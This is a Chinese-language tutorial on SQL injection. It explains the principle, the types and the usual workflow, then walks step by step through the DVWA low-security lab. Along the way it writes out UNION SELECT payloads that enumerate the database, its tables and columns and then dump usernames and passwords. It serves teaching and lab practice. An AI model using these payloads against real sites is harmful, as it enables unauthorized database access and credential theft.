SQL注入原理及其简单演示

一 .  SQL注入:

SQL injection:通过把SQL命令插入到web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器恶意执行的SQL命令。具体来说就是利用现有的程序将Sql命令注入到后台数据库引擎并且执行,它可以通过web表单中输入(恶意)的SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照 设计者意图去执行SQL语句。

  • SQL注入原理:

攻击者通过web 应用程序利用SQL语句或字符串将非法的数据插入到服务端数据库中,获取数据库的用户管理权限,然后将数据库管理用户权限提升至操作系统管理用户权限,控制服务器操作系统,获取重要的信息和机密文件。

  • SQL注入分类:

1.按照注点类型分:(今天所说

  1. 数字型注入点
  2. 字符型注入点
  1. 按照提交数据来分类:
  1. GET注入
  2. POST注入
  3. Cookie注入
  4. HTTP头部注入
  • SQL注入流程
  1. 判断是否存在漏洞,注入是字符型还是数字型
  2. 猜解SQL查询语句的字段数
  3. 确定显示位置
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 下载数据

五.实例演示(环境基于PHP study数据库)

1.低级别(low)sql注入:

(1)首先判断是否存在漏洞并确认是字符型还是数字型:

打开dvwa  low级别源代码进行大概判断(这种情况属于我们可以看到源代码的前提下)SQL注入原理及其简单演示_第1张图片

 可以看出low级别 无过滤语句 且id后边的为单引号可大概判断为字符型。

假设我们不知道源代码 先进入 SQL injection

输入1 判断

SQL注入原理及其简单演示_第2张图片

 

 

报错提示多了个单引号,说明了数据库没有过滤掉单引号,此时我们可以认为这个站点存在注入,且极大可能为字符型注入;

进行下一步判断

输入1 and 1=1 判断

SQL注入原理及其简单演示_第3张图片

 

显示结果表示有正常输出;可以说明输入的SQL语句已经正常拼接进去,现在可以确定该站点为字符型注入

(2)猜解SQL查询语句的字段数

输入1' order by 1 # 确定列数

SQL注入原理及其简单演示_第4张图片

 

输入1' order by 2 # 确定列数

SQL注入原理及其简单演示_第5张图片

 

输入1' order by 3 # 确定列数;当输入3时报错证明这个表有2列

SQL注入原理及其简单演示_第6张图片

 

  1. 确定显示位置

输入1' union select 1,2 #来确定显示位置

SQL注入原理及其简单演示_第7张图片

 

  1. 获取当前数据库

输入1' union select 1,database() #

SQL注入原理及其简单演示_第8张图片

 

由此可以得到库名

  1. 获取数据库中的表

输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #来获得表名并对你感兴趣的表进行操作

SQL注入原理及其简单演示_第9张图片

 

  1. 获取表中的字段名

输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

SQL注入原理及其简单演示_第10张图片

 

  1. 对你感兴趣的字段名进行操作和下载

输入1’ union select user,password from users #

SQL注入原理及其简单演示_第11张图片

 

现在得到了你想要的用户名和密码。

你可能感兴趣的:(sql)